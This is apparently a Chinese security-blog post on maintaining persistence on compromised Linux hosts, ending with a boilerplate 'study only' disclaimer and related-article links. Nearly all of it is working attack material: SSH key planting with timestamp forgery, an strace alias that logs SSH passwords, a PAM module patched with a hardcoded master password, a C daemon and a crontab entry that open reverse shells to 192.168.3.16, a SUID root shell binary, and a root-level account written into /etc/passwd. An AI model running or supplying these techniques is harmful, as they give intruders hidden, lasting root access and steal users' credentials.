Linux权限维持

2024-04-02 984 0

SSH后门

一、软链接SSHd

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

ssh [email protected] -p 12345

二、SSH Key

1、生成私钥和公钥

ssh-keygen -t rsa

2、将/root/.ssh/下的id_rsa.pub放到authorized_keys中

cat /root/.ssh/id_rsa.pub >> authorized_keys

3、更改authorized_keys文件时间

touch -r 参考文件 authorized_keys

如:

touch -r /www/wwwroot/upload.zip authorized_keys

4、重启ssh服务

service ssh restart

5、ssh免密登录目标主机

ssh [email protected]

三、SSH Keylogger(键盘记录)

1、编辑当前用户下的.bashrc文件

vim .bashrc

2、在配置文件末尾添加:

alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

Linux PAM 后门

1、将脚本下载到目标机器

2、解压

3、修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c文件,在181行添加以下代码:

if (strcmp("mingyue",p)==0) {return PAM_SUCCESS;}

4、编译文件

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

5、替换系统pam_unix.so文件

cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

6、修改事件戳

cd /lib/x86_64-linux-gnu/security/
touch pam_unix.so -r pam_xauth.so

7、使用添加的密码进行登录ssh

Alias后门

@反弹shell

1、创建命令快捷指令

alias cat='/root/.shell && cat'

2、创建shell.c文件

3、将以下代码写入shell.c文件中

#include <stdio.h>

#include <unistd.h>#include <stdlib.h>

#include <time.h>

#include <fcntl.h>

#include <string.h>

#include <sys/stat.h>

#include <signal.h>

#defineERR_EXIT(m) do{perror(m); exit(EXIT_FAILURE);}while (0);

void creat_daemon(void);

int main(void)

{

time_tt;

intfd;

creat_daemon();

system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");

system("/bin/bash -i >& /dev/tcp/192.168.3.16/8008 0>&1");

return 0;

}

void creat_daemon(void)

{

pid_tpid;

intdevnullfd,fd,fdtablesize;

umask(0);

pid = fork();

if( pid == -1)

ERR_EXIT("fork error");

if(pid > 0 )

exit(EXIT_SUCCESS);

if(setsid() == -1)

ERR_EXIT("SETSID ERROR");

chdir("/");

/* close any open file descriptors */

for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)

close(fd);

devnullfd = open("/dev/null", 0);

/* make STDIN ,STDOUT and STDERR point to /dev/null */

if(devnullfd == -1) {

ERR_EXIT("can't open /dev/null");

}

if(dup2(devnullfd, STDIN_FILENO) == -1) {

ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");

}

if(dup2(devnullfd, STDOUT_FILENO) == -1) { ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");

}

if(dup2(devnullfd, STDERR_FILENO) == -1) {

ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");

}

signal(SIGCHLD,SIG_IGN);

return;

}

4、编译

gcc shell.c -o .shell

5、执行cat命令,反弹shell

Crontab后门

#每分钟反弹一次shell给指定ip的8888端口

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&amp9;exec 1>&9 2>

&amp1;/bin/bash --noprofile -i')|crontab -

Setuid & Setgid

#Setuid

设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行

该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

#Setgid

该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组

相同的组.

1、编辑backdoor.c文件

#include <unistd.h>

void main(intargc, char*argv[])

{

setuid(0);

setgid(0);

if(argc > 1)

execl("/bin/sh", "sh", "-c", argv[1], NULL);

else

execl("/bin/sh", "sh", NULL);

}

2、编译程序

gcc back.c -o back

cp back/bin/

3、给程序添加SUID权限

chmod u+s /bin/back

4、执行./backdoor进行执行命令

后门账号

perl -e 'print crypt("mingy","adgfagm")."\n"'

#adu01teZNx5nY

echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash" >> /etc/passwd


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论